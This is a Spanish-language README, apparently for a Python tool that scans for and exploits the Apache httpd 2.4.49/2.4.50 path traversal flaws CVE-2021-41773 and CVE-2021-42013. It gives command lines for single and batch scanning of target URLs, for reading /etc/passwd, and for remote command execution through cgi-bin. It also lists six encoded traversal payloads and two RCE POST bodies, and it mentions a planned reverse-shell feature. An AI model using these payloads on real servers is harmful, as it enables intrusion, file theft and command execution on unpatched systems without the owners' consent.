
comprobador de path traversal para apache httpd (CVE-2021-41773 / CVE-2021-42013)
El 20211005, se reveló en línea la vulnerabilidad de path traversal en Apache httpd 2.4.49 (CVE-2021-41773), que puede causar lectura arbitraria de archivos (si se permite el acceso al directorio atravesado, por ejemplo, configurando <Directory />Require all granted</Directory>, no está permitido por defecto) o ejecución de comandos (RCE requiere habilitar CGI; el módulo CGI no está incluido por defecto).
El 20211008, apareció el path traversal de la versión 2.4.50 (CVE-2021-42013), que evade el parche de CVE-2021-41773.
Detalles de la vulnerabilidad: Reaparición y análisis de la vulnerabilidad de path traversal en Apache httpd 2.4.49/2.4.50
Ejecutar con python3
Ayuda de uso: python3 apache-httpd-path-traversal.py -h

Detección de una sola URL: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80"


Detección por lotes: python3 apache-httpd-path-traversal.py -f urls.txt -t 30 -s 3

Lectura de archivos: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /icons --readfile

Ejecución de comandos: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /cgi-bin --rce

Utiliza urllib.request para enviar paquetes HTTP
El criterio para detectar la vulnerabilidad es leer /etc/passwd y comprobar si los datos devueltos contienen la cadena "root:" (como la mayoría son Linux, por ahora se ignora la detección en Windows).
Multihilo, con tiempo de espera configurable para mejorar la eficiencia.
Permite elegir directorios existentes (--cdir) y la shell para RCE (--rceshell), para ofrecer flexibilidad.
Durante la detección se usa una lista de posibles directorios públicos para mejorar la tasa de aciertos. commonDirList = ['/cgi-bin', '/icons', '/assets', '/uploads', '/img', '/image']
Nota: a veces la lectura de archivos utiliza el directorio icons, mientras que RCE requiere el directorio cgi-bin; analiza cada caso concreto.
Se utilizan 7 formatos de PoC y 2 formatos de datos POST para RCE:
#cve-2021-41773 poc0 = "/.%2e/%2e%2e/%2e%2e/%2e%2e"
poc1 = "/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e"
#cve-2021-42013 poc2 = "/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65"
poc3 = "/.%%32%65/.%%32%65/.%%32%65/.%%32%65"
poc4 = "/.%%32e/.%%32e/.%%32e/.%%32e"
poc5 = "/.%2%65/.%2%65/.%2%65/.%2%65"
#rce data rce0 = "echo;id"
rce1 = "echo Content-Type: text/plain; echo; id"
// Cambiar el método POST de RCE a GET también parece funcionar.
// El payload debe variar según la profundidad de la ruta de Apache en el objetivo para salir; por lo general 4 niveles son suficientes.
// Se necesita un directorio existente en Apache, por ejemplo icons/ o cgi-bin/.
Puede que se añada detección para sistemas Windows.
Puede que se añadan usos adicionales como reverse shell.
gmail:[email protected]